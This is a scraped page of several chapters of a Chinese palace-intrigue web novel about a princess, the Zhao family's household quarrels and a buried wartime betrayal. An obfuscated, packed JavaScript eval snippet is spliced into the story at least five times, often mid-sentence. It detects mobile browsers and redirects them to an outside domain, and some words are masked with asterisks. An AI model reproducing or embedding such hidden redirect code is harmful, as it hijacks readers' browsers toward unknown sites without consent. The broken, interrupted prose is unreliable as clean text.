“以凡人之躯干犯天命,岂有长寿之理?父皇明知我寿数不长,却依旧肆无忌惮的怂恿我运用天眼,在他心中岂有半丝慈父之爱?多亏淑妃与我饮了皇子之血,我因此失了一半探寻天命的能力,却也意外的因祸得福,父皇以为我异能已失,便将我弃之不顾,我一条残命这才得以保存。” 商无忧提起此事口气淡漠,仿佛在陈述一件与己无关之事。 “我身中剧毒,神志亦每况愈下。你以为‘大辉长公主是个疯婆子’乃是讹传?实话告诉你,刚开始那几年,我确实神志不清,若不是师父与陈氏暗人暗中调养,只怕我早成了宫里宫外那般小人口中的笑话!” “我身为镇国公主,当为大辉而死。可父皇不该算计我,叫我无声无息的死在神殿中!” “多亏司命护佑,机缘巧合下我偶尔能窥见未来之事。那一日你母亲带你来见我,我便知道你是我要的人!” 陈爱若咬了咬唇,低声问道:“我的病……殿下您究竟是怎么做到的?” “我给你喝了我的血!” 商无忧面色坦然,朝着陈爱若沉声道:“那日我借机探过你的脉,你痴痴傻傻不过是因着胎里带了的毒,既然如此,以毒攻毒之术当可叫你神志清明。” “当然你也极有可能被毒死,以毒攻毒本就是无奈之举,无人敢保你安然无恙!” 说道此处她面上忽然浮起一丝难解的笑。“好在,本宫赌赢了!” 陈爱若默然无语,面色却变得煞白。 “我要为母后复仇、为陈氏一族正名,就算是父皇算计了陈家与母后,我也断断不会手软!” 商无忧看着她,一字一句直白道:“本宫并非救苦救难的活菩萨,当日救你脱离苦海便是为着日后你那颗聪明的脑袋能为本宫所用。本宫虽用自己的血救你回复神识,说到底却是利益交换。如今你已知晓本宫日后要做之事,你若害怕不如趁早回到后宅,安安心心的做你的陈家大小姐,日后定能嫁个好人家。如此令堂也能安心了。” 陈爱若定定看着面前的女子,忽的低声道:“殿下又何必将自己说的这般不堪?您将爱若从人人厌弃的傻子便成如今聪慧的模样,陈家上下都感念殿下的恩德……” 商无忧叹道:“本宫疯癫之时遭过不少白眼,昔日里宠爱我如斯的父兄竟弃我如敝履,令堂敢无畏他人眼光的将你带至本宫眼前、着实叫本宫动容。天助自助者,能有今日这番际遇都是你自己的造化,用不着谢本宫。” “路还长,你慢慢想。” 商无忧说完闭起双眼。 华丽的翟车朝宁国公府缓缓驶去,在路人的喧哗声和小贩声声叫卖声中,她不由昏昏欲睡…… “殿下于我有知遇之恩,爱若今后愿跟随长公主,鞍前马后、永不相负!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15649084|172807||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 陈爱若话音刚落,摇摆的翟车戛然而止。 商无忧缓缓睁开眼,碧眸中一片清明。 她伸手扶起跪拜于地的陈爱若,低声道:“陈小姐放心,你与我之间乃是君子协定,无论结果如何,本宫一定全力保住陈家。” ----------------- “大奶奶,国公爷与长公主回府了,太夫人请您往前厅去迎接呢!” 郭碧云一针一线的做着手中的绣活儿,她神态极其专注,下人禀报了半天却不见回应,忙不迭歪头去看她身边的大丫头莲心。 莲心忙冲那婆子使了个眼色,顺手将人拉出门外,悄声道:“这些日子风大,大夫人想给老太君做条抹额。妈妈也知道,老太君对所用之物十分挑剔,我们夫人熬了两三夜,东西就快做好了,万不得在此时分神!” 那婆子闻言连连称是,口中道:“阖府上下谁不知大奶奶孝顺!太夫人本不想劳动奶奶,只是长公主在祭礼上受了重伤,如今好容易伤愈回府,太夫人为表隆重特意叫全家出门迎接……” “妈妈说的是,可大夫人眼下实在撒不得手。” 莲心一边说一边将那婆子往门外带,口中好言好语的道:“再说咱们夫人连日来照看受伤的大爷,白日里还要顾着孙少爷,这两天她自个儿的身子也颇为不爽,请妈妈在太夫人面前替咱们夫人告个罪,迎长公主回府夫人便不去了……” 直到被推出了院门,那婆子还没回过味儿来,忙回头道:“可大爷已带着少爷在大门口恭候了……” 院门砰的一声被人关上,婆子见状只得悻悻离去。 屋内的郭碧云却是将那婆子的话听了个清清楚楚,她忽的狠狠将手中的绣品扔在床上,悲戚道:“你听见没有?人还没回来,他便巴巴儿的在哪儿候着了……” “夫人您莫要多想,您没听那婆子说吗,太夫人叫阖府之人都出去迎接长公主,大爷他岂能不去?” “可我从未见过他对哪个女人如此上心!” 第一百二十七章 夫妻归府(二) “为救那人,他几次三番险些丢了性命,我实在是怕……” 郭碧云说着眼中一热,忙不迭转过头去。 莲心见状忙安慰道:“夫人也知道,大爷从雁荡山抬回来时是个什么样子;若没有长公主,大爷只怕连命都保不住。大爷知恩图报,长公主又嫁入了咱家,性命攸关之时大爷怎会不拼尽全力救人?” “你是说,我想多了?” 郭碧云垂头抹了把眼泪,这才低声道:“你之前不也说过,夫君待那女子不同吗?如今怎地又安慰起我来……” 莲心默了默,这才道:“奴婢当时确实觉得长公主太过随意,奴婢是怕夫人吃亏……可后来奴婢冷眼旁观,长公主那个样子竟是真性情,便是对着奴婢们也从不摆谱,奴婢便觉得是自己多心了。” “夫人最了解大爷,您不也说过,大爷不是那种人吗?” 郭碧云失落的摇了摇头。 说来也怪,往日里夫君出征在外,她虽在家中日夜担忧他的安危,却从未怀疑过他对自己的情谊;可如今夫君终于能留在家中陪伴自己和儿子了,她却渐渐拿捏不准他的心。 夫君近日似乎颇为不安,可每当她问起他为何担忧,他却总是一笑了之,甚至有意避开自己;久而久之,一贯沉稳的郭碧云也渐渐烦躁—— 她本能的将丈夫的反常与家中进来唯一的变故——长公主嫁入家门联系起来! 自从长公主入了门,丈夫的行事便渐渐怪异,甚至长时间不见踪影,郭碧云也曾安慰过自己,丈夫和长公主不过是旧识,可她的心终究是乱了! “若是长公主没嫁进来便好了!” 莲心忽的嘀咕了一句,“若是老国公没出事,咱们二爷断不会娶什么公主进门,夫人您出身高贵,必不会被寻常闺秀抢了风头,也就不会惑于大爷的‘青梅竹马’之情了……” 郭碧云的心一动。 是啊,若是没有长公主…… 她烦躁的叹了口气,忽的起身踱起步来:“这不怪她,嫁人这事本就由不得女子做主,更何况她之前还是那副样子……” “也是夫君他太不让我省心!这几回他接连受伤,我实在太过忧心,倒忘了他是个有情有义、勇猛无双的武将——莫要说那是他的师妹,就冲着她弟媳的身份,元吉也会豁出性命护着她……” “原来在夫人心中,为夫竟这般英勇!” 房门一开,赵元吉抱着儿子元宝走进屋来。郭碧云见状忙收了一脸哀怨,面上浮起一抹笑,轻声道:“你怎么来了,娘不是让你去接人吗?” “元婴是我弟弟,长公主是我弟媳,哪有当兄长的去接弟弟的道理?” 赵元吉将胖乎乎的儿子塞入妻子怀中,先是瞥了眼沉默无言的莲心,这才朝郭碧云道:“元宝本来吵着要去看长公主的翟车,可一听闻你身子不适,他竟连前院儿都不肯去,非巴巴儿的跟我来此处见你!” “夫人有福了,这小子将来必不是个娶了媳妇儿便忘了娘的!” 郭碧云心中一暖,忙不迭朝儿子白白嫩嫩的小脸蛋儿亲了一口;这才转过头小心翼翼朝赵元吉道:“长公主如今声名大噪,皇帝还赏了她镇国公主的封号,好歹是国之功臣,咱们不去门口迎接真的没问题吗?” “长公主她不是计较细枝末节之人,说到底她还是我师妹,以前在山上我可没少护着她,她断不会为这点小事与咱们翻脸!” 郭碧云很喜欢赵元吉与她说“咱们”。 赵元吉拍了拍妻子的肩膀,安慰道:“虽说我已是个废人,可征西将军的头衔仍在,这断时间我一直琢磨着是否该向陛下讨个官职做做。我虽再不能上战场,可好歹熟读兵书战策,若是能在兵部寻个差事,便能帮一帮元婴,也不至于白拿朝廷俸禄、在家空手吃白饭。” “这些日子我忙着此时,冷落了你,你别怪为夫。” 元宝搂着她娘的脖子,在一旁帮腔道:“阿娘你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15649085|172807||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 别生爹爹的气了,这些日子爹爹都把自己关在屋里写字,连门都没出过;元宝去寻爹爹陪我玩,爹爹也不理我。阿娘说过,爹爹办正事时元宝不能打扰,儿子敢保证爹爹做没做坏事,阿娘就饶了爹爹吧!” 郭碧云破涕为笑。 赵元吉欣慰的点了点头:这小子果真没白吃他的糖! “这可好了,大爷和少爷一来,夫人就笑了!” 莲心一脸欣慰,朝着二人道:“大爷在此处用午膳吧,奴婢这就叫人去准备!” 郭碧云点了点头,吩咐道:“我这几日精神不济,莲心你手艺好,去厨下亲手添个菜吧!” 看着莲心转身离去,赵元吉这才道:“我记得莲心是你从娘家带来的,这么多年都是她一人在你身边伺候,想来甚是得用吧?” 郭碧云点了点头,“莲心老实、勤快,人又十分聪慧,凡是以我为先;我们两个也算一同长大,十分对脾气,自然相处得来。” “这丫头可嫁人了,父母兄弟可还在郭府?” “她也老大不小了,我本来说要为她寻个清白人家,去做正头夫人,偏她说要一辈子陪在我身边,说什么也不肯嫁;我本想在国公府中再给她寻个好人家,却总觉得那起子伶俐小厮们配不上我的莲心。” 郭碧云想了想,又道:“莲心一家是我的陪房,她一人在我身边侍奉,又死活不肯外嫁,我哪里舍得叫她一家子都为人奴婢?因此两年前便烧了她爹娘兄弟的籍契,放了他们做良民了!” 赵元吉点了点头,“夫人心善,这都是莲心的福气。” 郭碧云柔柔一笑,“她真心为我,我又怎舍得让她吃亏?只可惜我一个人眼界有限,还得劳烦替莲心留意着,若有什么般配人家只管告诉我,倒时我也会烧了她的籍契,绝不叫她在夫家低人一等!” 赵元吉眸光一闪,轻声道:“夫人放心,此事我定会留心,国公府绝不会亏待了这般‘忠心侍主’的忠仆!” 第一百二十八章 亲家上门 “沛之我的乖乖孙,你终于回来了!” 见史太君满眼担忧,赵元婴忙不迭迎上前来,口中道:“祖母放心,孙儿一切都好!” “见过老太君!” 史太君一抬眼便看到孙子身后那面色苍白的女子,她胸前裹着纱布,几个內监缓缓抬着她走了过来。 史太君淡淡道:“长公主乃我大辉的功臣,您重伤初愈,还是赶紧回后宅休息吧!” 商无忧仿佛没看出她面上的冷意,这便点了点头,随即朝身旁吩咐道:“没听见老太君吩咐吗?速送本宫回去休息!” 史太君看着她漠然离去的背影,心头忽的升起一丝火气,转过头低声道:“好歹是皇家公主,见到长辈不仅不见礼,竟敢转头就走,也不知懿慈皇后当年是怎么教导她的……” 闻言碧眸内闪过一丝寒色,商无忧侧过头瞥了史太君一眼,这才沉着脸转过头。 赵元婴忙道:“长公主受伤颇重,便是陛下召见也是由內监们抬进太极殿;她并非有意怠慢祖母,还请祖母见谅!” 史太君默了默,这才一把抓住赵元婴的手,柔声问道:“元吉说你也受了伤,如今可都好了?” “陛下真是偏心——长公主受伤,陛下既心疼、将她一人留在宫中便是,为何还要我的乖乖孙一同入宫?长公主虽是君,说到底还是你的妻,你们二人都受了伤,岂有叫做你这丈夫的反过来照顾她的道理?” 这话便有些不敬之意了! 赵元婴忙扶着史太君的胳膊往府内走,口中道:“祖母还说呢,孙儿在宫中住了这些时日,十分想念祖母院中的点心,祖母可给我备下了?” 闻言史太君僵着的脸这才放松下来,喃喃道:“我当是什么好物,不过是一碗酥酪,宫中连这道寻常点心都做不出,莫不是有意苛待于你……” “祖母说的哪里话,宫中好吃的甚多,可孙儿就是觉得松鹤居中的点心最合我意!” 史太君叹了口气,拉着孙子便往自己院里走,口中不住道:“点心、果子,祖母早就叫人给你备下了,你快随我用些去……” 李太夫人见状这才长出了口气。 自己这婆婆仗着是郡王之女,一贯强硬,如今竟是连皇室的面子都不给—— 虽说自己当初也埋怨过皇帝逼着儿子娶那疯癫的公主,可自打儿媳妇入了门,原本一败涂地的赵家门楣竟重新振作起来——大儿子虽说丢了一臂,好歹保住了性命;长公主虽说行事乖张了些,可人前人后对她这个做母亲的竟甚为尊重,小儿子如今又承了爵,她还有什么不满意的?! 李夫人扬起笑脸,刚抬起脚朝府内走,却听后头传来一阵不悦的呼唤—— “亲家夫人,您留步!” 听到那声音,李夫人忽的升起一阵心焦,她僵硬的转过身,果然看见光禄勋孙夫人带着儿子孙彪、面上带着虚情假意的笑,朝着她走了过来。 “岳母安好,子芳带着琉璃在宫中叨扰长公主多日,如今该跟小婿回府了吧!” 孙彪口中对着李夫人问安,态度却不见有多恭敬。他昂着头、倨傲的来到李夫人面前,沉声道:“子芳她忒不像话,一介出嫁的妇人,总带着孩子往娘家跑,传出去成什么样子……” “你个臭小子,怎么跟你岳母说话呢?” 孙夫人假意嗤了儿子一句,这才皮笑肉不笑道:“我说亲家,你们国公府的女儿可是比公主还尊贵,我儿子明里是娶了妻,可他要见自己的夫人一面还得叫人往宫里请旨,这是哪门子的道理?我孙家这哪里是娶媳妇儿,明明是请了尊佛回家!” 孙夫人边说边刻薄道:“不就是让她给自己的夫君谋个体面的差事,有这么难吗?子芳若不愿意便罢了,谁叫亲家您眼界高、看不起我们这没落的孙府呢!谁知你们家那位大姑奶奶竟然躲到了宫里,她如此行事分明是连为妇的本分都不顾了,你们宁国公府难道就是这般教女儿的?” 李夫人不知此事,忙陪着笑脸道:“亲家说的哪里话,我们怎么会故意怠慢亲家?你说子芳带着玲珑去了宫里,这是什么时候的事……” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15649086|172807||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >孙彪冷笑一声,“不如岳母替我问问你那好儿媳——她叫我夫妻分离、一家人不得团圆,究竟安得什么心?!” 李夫人看两人如此气势汹汹,忙道:“贤婿还是快扶着你母亲进府吧!有什么事咱们好商量……” 孙夫人冷笑一声,“你国公府的门楣高,我们进不得,有事便在门口说!” 孙彪一见母亲如此,便也梗着脖子道:“你们赵家教唆出嫁女诓骗我女儿出走,这事没完!” “我要去见老太君,问问她赵家究竟什么意思。” 孙夫人亦叉着腰道:“我儿说得对,母亲这便与你一同去见老太君,我倒要问问她老人家,赵家是不是想要个被休弃的女儿归府……” 李夫人心惊肉跳,老太君年事已高,若真叫这二人闹起来,若是真将她老人家给气出个好歹,可怎么得了?! “亲家有话好说,你我的夫君同朝为官,咱们两家万不能撕破脸、叫旁人看笑话……” 孙夫人一见她如此,气焰愈发嚣张,她冷笑着、忽的一口淬在李夫人面上,厉声喝道:“谁要与你一团和气的装门面,可你如今已经是个寡妇,还敢说什么‘同朝为官’,岂非有意诅咒我的夫君与你家那位身首异处的无能将军是一个下场?!” “你以为赵家攀上长公主这门皇亲,我们便怕了你了?!” “瞎了你的狗眼!” “我夫君乃两朝老臣,陛下甚为依仗,我孙家岂有被小人欺辱之理?” 孙夫人叉着腰,站在国公府门口竟如市井泼妇般骂起街来。 “今日宁国公府必须教我们个说法,要不然赵子芳便等着我赵家的休书吧!” 李夫人铁青着脸,身旁的婆子忙上前来用帕子为她擦去面上的口水;在众人的指指点点中,李夫人咬着牙,死命将窝在胸口的气咽了下去。 她抬起头朝孙家母子道:“既然夫人今日非要撕破脸,我宁国公府也不是怕事的。夫人既不愿进府,那便在此处稍候,待我问清来龙去脉,再来给您个交代!” 第一百二十九章 将宁国公之位让给我吧 看着李夫人拂袖而去的身影,孙彪心头破天荒生起丝恐惧,忙朝着母亲低声耳语道:“娘,赵家兄弟可都是**过武的,若是岳母真动了气,遣赵元婴出来对儿子动手,该如何是好?” “儿子身子娇弱,断断禁不住莽夫的三拳两脚……” 孙夫人面上浮现个满不在乎的笑,低声道:“赵洵生前的确是个莽夫,可赵家女眷皆是柔弱之辈,当着门外这么多人,她敢和咱们动手?赵子芳不守妇道,此事是他家理亏在前,你怕什么?” “你刚刚没瞧见李氏那个色厉内荏的样子,她哪有胆子跟我逞威风?” “你等着瞧,娘今日一定逼着赵家将你的官职敲定!” 孙彪不安的瞟了眼宁国公府旁先帝亲笔御书的“勇武、忠贞”粗壮柱子,低声道:“若是他们不答应……” 孙夫人闻言呵呵呵冷笑,“那我便给她赵子芳一封休书,到时这声威赫赫的宁国公府,便会沦为全京都的笑柄!” “这位可是光禄勋府的孙夫人?” 孙彪一抬头,却见一个小内监正满脸堆笑的看着自己,他心头一跳,忙道:“正是家母,不知大人是……” 小内监笑道:“奴婢名叫福童,是陛下亲奉的九龙池总领太监,专司伺候长公主,下面人都称奴婢一句‘总管’!” 孙彪忙施了个礼,“福总管万安,可是长公主殿下有什么差遣?” 福童点了点头,“长公主说她与赵家大小姐甚为投缘,这些日子大小姐寝食难安,我家殿下料定她定是有事相求,可百般追问下大小姐却什么都不肯说。” “如今长公主已是赵家妇,大小姐的事便是长公主的事,叫赵大小姐如此为难之事孙夫人和少爷必定知晓,因此咱们殿下请二位入府一叙。” 福童说着微微直起身,略带倨傲道:“如今咱们殿下在陛下面前说一不二,说句托大的话,便是孙夫人和少爷眼中天大的事,只要我家殿下一句话,保管水到渠成……” 孙夫人闻言大喜,忙不迭道:“总管大人说的是,如今这京都城中谁人不知长公主殿下得陛下宠爱!要我说子芳她就是死心眼儿,她是长公主的姑姐,她若有所求想来殿下必会应允……” “既然如此,二位快随我进去吧!” 孙夫人兴奋的朝儿子递了个眼色,母子二人忙不迭跟在小内监身后朝后院走去,丝毫没注意到福童转身之际面上一闪而过的狠辣之色…… ----------------- “祖母,孙儿实在吃不下了!” 史太君看着孙子,叹道:“你这些日子在宫中,想必寝食难安吧?” “多亏我和你母亲没去观看那场祭礼,如若不然,我二人只怕要担心**。” 赵元婴看着史太君,柔声安慰道:“祖母放心,那日不过是看着凶险,好在有司命大神护佑,孙儿与大哥、长公主这才安然无恙。” “眼下赵家唯有靠你一人了!” 史太君说到此处满眼心疼,“你本该在父亲和兄长的庇佑下无忧一生,谁料……唉,如今你大哥是那个样子,元宝年纪又小;我知你不喜朝堂那一套,如今为了赵家,你却要卑躬屈膝的任由皇帝摆布,还要忍受旁人的白眼和指指点点,真是苦了你了!” 赵元婴温声道:“祖母说这话便是偏心孙儿了,父亲一生戎马,宦海沉浮,您从来都是对父亲勤加鞭策,怎么一到孙儿这里,您的心便软了?” 史太君苦笑一声,“这怎么一样?你父亲和哥哥都是七八岁便上了战场,他们二人流过的血泪比你多;可你是富贵乡里长大的,眼前这一切对你而言实在太过沉重了!” “我虽未上过战场,却不是个软骨头。” 赵元婴看着史太君,沉声道:“我赵家三代征战沙场却落得如此下场,如今皇帝忌惮武将权势,赵家男儿以命搏功名的传统也该改改了。朝中权臣权臣互相倾轧,他们动动嘴皮大会便会掀起滔天巨浪。此等兵不血刃便能拒敌之术孙儿也该学以致 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15649087|172807||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 用,祖母放心,总有一日我会叫赵家再现荣光!” 史太君看着一脸云淡风轻、眼神却坚毅无比的孙子,欣慰的点了点头。 “你虽温厚,骨子里却和你父亲一般,是个要强之人。” “国公爷,大少爷请您去一趟!” 赵元婴闻声忙不迭站起身,朝史太君道:“兄长有事相招,孙儿这便告辞了!” 史太君看着孙子离去,这才朝身旁的婆子道:“这孩子也不知随了谁,竟生了个沉稳又耐得住的性子。若是在从前,我断断不信他那稚嫩小肩膀扛得起这沉重的国公府;可如今看来,这宁国公他似乎会比他父亲做的更好……” 那婆子笑道:“若说二少爷这性子,该是随了姑爷才是!您还记得当年您是如何嫁入赵家的吗?奴婢没想到,姑爷竟是早早就相中了您,后面又使了那些心计,这才成功将您娶进了府……” “他啊,就合该是个运筹帷幄的文臣,不该做个征战沙场的武将。” 史太君眼神一柔,低声叹道:“但愿我的沛之能有他祖父的心机和运气……” ----------------- “大哥叫我来是为了什么事?” 赵元吉看着小弟,轻声道:“你和无忧的伤可都好了?” “长公主受伤颇重,如今虽能下地却还需仔细调养;倒是小弟,虽未完全康复,可身上的伤也好的差不多了。” 赵元婴打量着兄长的气色,微笑着道:“大哥脸色红润,向来是嫂子尽心调养之功;只可惜小弟一人留于宫中,一边养伤照顾重伤的长公主,还得分神去应付那帮居心叵测的朝臣和命妇,这段日子可将我累坏了……” 赵元吉看了眼言笑晏晏的弟弟,忽道:“沛之,你去给陛下上书,将宁国公之位让给我吧!” 赵元婴渐渐敛了笑意,低声道:“大哥说什么?” “我说,你将宁国公的爵位让给为兄,你带着无忧去过悠闲日子,这样可好?” 第一百三十章 当年往事(一) “若我没记错,这是大哥第二回向我索要宁国公之位了!” 赵元婴看了眼面色坦然的哥哥,沉声道:“兄长并非贪慕权势之人,那你要这国公之位究竟是为了什么?” 赵元吉平静的道:“你做宁国公的时间虽不长,却也该知晓眼下赵家究竟是有多艰难。你与无忧成亲时便有**前来偷袭,若不是无忧洞察先机,赵家此时已成了众矢之的;司命祭礼上那一回更是凶险,你我兄弟二人几乎搭上了性命……即便如此,皇帝还是要将你扣在宫中,” “你是那样温厚、洒脱之人,不该过这种提心吊胆的日子。” “祖母和母亲年事已高,你与长公主又还在新婚,不如将京城这个烂摊子交给为兄打理,你带着全家女眷离开京都,找一处僻静之地好好生活” 赵元吉看着从小一同长大的弟弟,轻声道:“只有一桩事你还需答应大哥——从今往后你嫂嫂和侄子便全由你照顾了。无忧是个能容人的,你再用些心,你嫂子和侄儿日后定能有个好前途,如此我也就放心了……” “大哥这话不像是在嘱咐我照顾家小,倒像是在交待后事!” 赵元吉抬起眼眼,却见弟弟一双眼冷冷望了过来,口中道:“既然兄长有命,小弟不敢不从!” 闻言赵元吉终于松了口气,却听赵元婴继续道:“只要兄长能解沛之心中疑惑,沛之这就给陛下上书,请封兄长为宁国公” “请问兄长,冀州之战究竟何人才是幕后黑手?” “催战的秘旨是何人放在父亲案头?” “雁荡山下,究竟是大辉哪支军队对赵家军痛下**?又是谁对重伤的兄长围追堵截,让赵家余下的死士不得不以命相搏,换得兄长逃出生天?” “沛之、你竟然……” 赵元吉面色一白,不敢置信的看着自己的弟弟,喃喃道:“这些事都是谁告诉你的?” 赵元婴看着一脸震惊的兄长,缓缓道:“兄长要宁国公的爵位,不就是为了只身面对龙椅上那一位吗?” 赵元婴叹了口气,“兄长还是太天真了,你以为你失了一臂、陛下就不忌惮了?你以为元婴辞去官职,带全家远离京都,陛下就会允了?!” 他看着兄长的双眼,一字一句重重道:“只要我赵家还有男子存活于世,陛下就永远不会放下戒心。” “毕竟父亲是唯一知晓当年宫变真相之人!” “你怎么会、怎么会……” 赵元吉白着脸跌坐在椅子上,赵元婴见状不慌不忙倒了杯热茶塞入兄长手中,这才缓缓道:“大哥还想瞒我到什么时候,连北狄蛮子都知道的事情,大哥以为自己还能瞒多久?” “不知从什么时候开始,皇帝便盯上了咱家。每逢大哥与父亲和祖父出征,家中总会出现一些怪事——家中偶尔会潜入贼寇,甚至连用了许多年的奴婢也会突然起了盗心。家中都是女眷,小弟不能不小心维护,着意探查下竟发现国公府内外皆满布校事府的耳目!” 赵元婴拉了张椅子坐在兄长对面,直视着他的双眼,沉声道:“历代帝王皆会忌惮武将,可向当今陛下疑心病这么重的却是不多,若不是兄长前些日子从那马鹞子口中审出话来,元婴只怕还想不通其中关隘。” 他唇边扯出一抹讽刺的笑,冷冷道:“我家三代从军,可父亲八年前才被升为一等宁国公,我一直以为是陛下感念我赵家忠贞不二,这才赐下此等恩宠;现在想来,定是洛阳宫变时父亲带府兵杀入内廷时发现了什么异常,皇帝为了警告、也为了堵父亲的嘴,这才晋封父亲为国公。” “皇帝早就磨刀霍霍了,可祖父和爹爹在军中威望甚重,加之长年领兵在外,皇帝实在是不好动手;而北狄这些年国力渐强,皇帝确实也需要能牵制北狄人的将领,这才没马上便将屠刀挥下。” “祖父和父亲渐渐年迈,而兄长承继了父亲的衣钵,不仅立下赫赫战功,在军中的声望亦直逼父辈;而皇帝却愈发老迈昏聩,直到北狄蠢蠢欲动,他终于耐不住了……” 赵元吉长出了口气,“我告诫过春山,马鹞子所说之事万不能叫你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15649088|172807||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得知,这小子居然不听我的话……” “春山是我的贴身长随,与兄长比起来,反倒是他对我多了些信任。” 赵元婴苦笑了一声,“看来在兄长眼里,元婴果真还是个**……” “你不知他有多狠!” 赵元吉摇了摇头,“父亲出征,他每七日便会下旨催战,而兵部和尚书台却屡屡掣肘,粮草和补给迟迟不到,父亲拿什么和北狄人打?!” “祖父看出朝中的险恶用心,他安慰父亲安下心来稳扎稳打;父亲本也耐得住,直到那日家中妇孺的贴身之物与催战的密旨同时出现在案头,父亲终于慌了……” “父亲手下的将领们亦收到家人的贴身物件,人心乱了……祖父被逼无奈,只得号令出征。” 赵元婴接过话头继续道:“可北狄人此番与之前不同,他们好似提前知晓了我军部署和动向,竟几番在关键时刻避开我军主力——有道是一鼓作气,再而衰、三而竭,如此几番下来赵家军的士气便没了!” 赵元吉点了点头,“你是听赵襄说的吧?只可惜他只知其一不知其二——” “那一日我们铩羽而归,行至城外三十里时,北狄人却突然杀了出来,毫无防备的赵家军被敌人切割成几股,彼此失了联系;我本带人护着祖父和父亲突围,谁料身旁的军士突然叛变……” “那可是跟着祖父征战二十几年的老部下啊,我们怎么可能提防他们?!他们的刀上都淬了剧毒,在刺伤祖父和父亲后便自裁而亡!五六个人,竟连一个活口都没留……” 赵元吉说到此处双目通红,他下意识的抚向右臂,喃喃道:“我这只胳膊便是在那个时候断的……” “士兵们见自己的主帅叛变,一时之间失了方寸,竟被北狄人偷袭,我们一时伤亡惨重,只得朝雁荡山逃去。” 赵元婴心头一动,“大哥为何偏偏败走雁荡山?” 赵元吉默了默,这才道:“因为当时祖父已与安思政定好救援之策,如遇奇袭他便要在雁荡山设伏救援。” 第一百三十一章 当年往事(二) 安思政?! 果然是他! “所以,赵家军全军覆没,皆因那安思政未及时救援?” “非也!” 赵元吉摇了摇头,“安思政的兵马确实出现在雁荡山下,可他进攻的对象却变成了从北狄人手中逃脱的残余赵家军——我昏迷前最后一眼便看到随着那贼子一声令下,一群乌合之众便对着赵家军万箭齐发;祖父和父亲因中了毒而战力大减、我亲眼看着他二人中箭倒地,却无能为力……” 赵元婴死死攥紧了拳,“安思政,他怎么敢……那兄长最后是如何逃脱的?” “我断了一臂,哪儿还有什么战力?若不是祖父和父亲拼死拖住身后追兵,国公府的死士们又用自己的身躯为我遮挡暗箭,只怕我早如父亲一般身首异处了……” 赵元婴双眸轻颤,“难不成兄长你……” “我被安思政捉住了,可不知为何,他竟留下了我的性命。” 赵元吉眼中一热,“只可惜护送我的死士,皆被他灭了口;随后而来的赵洵等人又受了他的蒙骗,竟以为他是率众救援的我方将领。” “当真可笑……” 赵元婴厉声道:“那兄长回归京都为何不将实情上报朝廷?你可知安思政那狗贼谎报军情,声称自己驰援雁荡山时遭遇敌军,双方激战许久,他只来得及将你救出,皇帝因此破例晋封他为正二品虎威将军……” 相较于弟弟的激动,赵元吉则安静的多。 他苦笑一声,轻声道:“事后我曾想过,安思政明明能无声无息的要了我的性命,为何非要留下我这见证他背叛大辉的唯一证人?我苦思冥想多日,终于有了答案……” “安思政他并非有恃无恐!” 赵元吉深深凝望着赵元婴的双眼,一字一句道:“他害怕,正因为害怕,他才选择留我一命!” 赵元婴心头一震。 “沛之如此聪慧,能叫虎威将军畏惧如虎的,究竟是谁?” 赵元吉不住冷笑,“安思政留我一命为的便是防着那人在事后杀他灭口,从他种种行为来看,背后之人必是权势滔天!” 赵元婴瞳孔一缩,“难不成是皇帝……” “是或不是又有什么差别?” 赵元吉看了眼面色冷峻的弟弟,轻声道:“沛之,父亲虽然去了,可娘和祖母尚在,赵家不能再**了!” 